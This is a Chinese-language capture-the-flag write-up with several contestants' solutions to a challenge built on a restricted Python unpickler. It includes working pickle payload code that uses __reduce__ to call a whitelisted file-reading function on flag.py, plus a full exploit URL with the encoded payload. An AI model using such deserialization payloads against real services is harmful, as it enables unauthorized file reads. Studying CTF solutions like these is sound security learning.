Hide and Seek

这道题其实就是一道很简单的 unpickle 漏洞的题目,不过我们稍微做了一点变式(坑),只允许 unpickle 特定的东西,具体代码就写在 handies.py 里面:

import builtins
import io
import pickle


def file_contents(filename, mode='r'):
    "Does what you think it does"
    filename = filename.replace('/','_').replace('..','_')
    with open(filename, mode) as f:
        return f.read()

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module != 'handies':
            raise pickle.UnpicklingError("module='%s' 是非法的" % module)
        if name != 'file_contents':
            raise pickle.UnpicklingError("name='%s' 是非法的" % name)
        if module == "handies" and name == 'file_contents':
            return file_contents
        raise pickle.UnpicklingError("module='%s', name='%s' 是非法的" % (module, name))

def safe_unpickle(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

可以看出 safe_unpickle 的时候,其实就是检查了一下 unpickle 出来的对象,只有 handies.file_contents 是允许的,而且首页上 app.py 向我们展示了 file_contents 的功能,就是读取文件内容,那么我们就可以构造参数读取 flag.py 或者 handies 里面的内容。(也就是说,这道题其实做出来之后就是开源的了【逃】)

根据首页内容,flag 即位于 flag.py,构造一下即可:

# handies.py
def file_contests():
  pass
# payload.py
from handies import file_contents
 import base64
 import pickle

 class Payload:
     def __reduce__(self):
         return (file_contents, ('flag.py',))

 print(base64.b64encode(pickle.dumps(Payload())))

执行 payload.py ,将参数带入 credential 即可得到 flag 的内容。

邓胜亮 16级

阅读源代码,发现是对参数'credential'进行base64解码然后unpickle,如果得到的是Credential的实例就尝试login、输出flag,否则将unpickle的结果输出。

第一反应就是使其unpickle结果为Credential的实例,但是尝试一下后发现这被定为“奇怪的操作”。 注意到提示3,另外handies这个模块看起来比较特殊,猜测是小红自己写的,加上file_contents的名字,得到思路:调用file_contents读取flag.py。

阅读python文档中关于pickle的部分,发现类的reduce方法比较特殊,如果它返回一个tuple……

When a tuple is returned, it must be between two and five items long. Optional items can either be omitted, or None can be provided as their value. The semantics of each item are in order:

A callable object that will be called to create the initial version of the object. A tuple of arguments for the callable object. An empty tuple must be given if the callable does not accept any argument. ……

那么我们随便构造一个类,自己实现reduce方法就好了。

import pickle
import base64
import handies
class SomeClass:
        def __reduce__(self):
                return handies.file_contents, ('flag.py',)
print(base64.b64encode(pickle.dumps(SomeClass())))

另外因为pickle是根据对象的名字去查找对象的,所以我们只要fake一个无用的handies.file_contents就行了。

最后的url就是: http://67.209.186.120:8888/?credential=gANjaGFuZGllcwpmaWxlX2NvbnRlbnRzCnEAWAcAAABmbGFnLnB5cQGFcQJScQMu

CancerGary 17级 校外同学

构造 python pickle

格式: http://www.freebuf.com/articles/system/89165.html

注:这题只允许调用handies.file_contents

没改后端代码时尝试过__main__.file_contents(好像也不能这么调用?)(所以仔细看文档的重要性)

results matching ""

    No results matching ""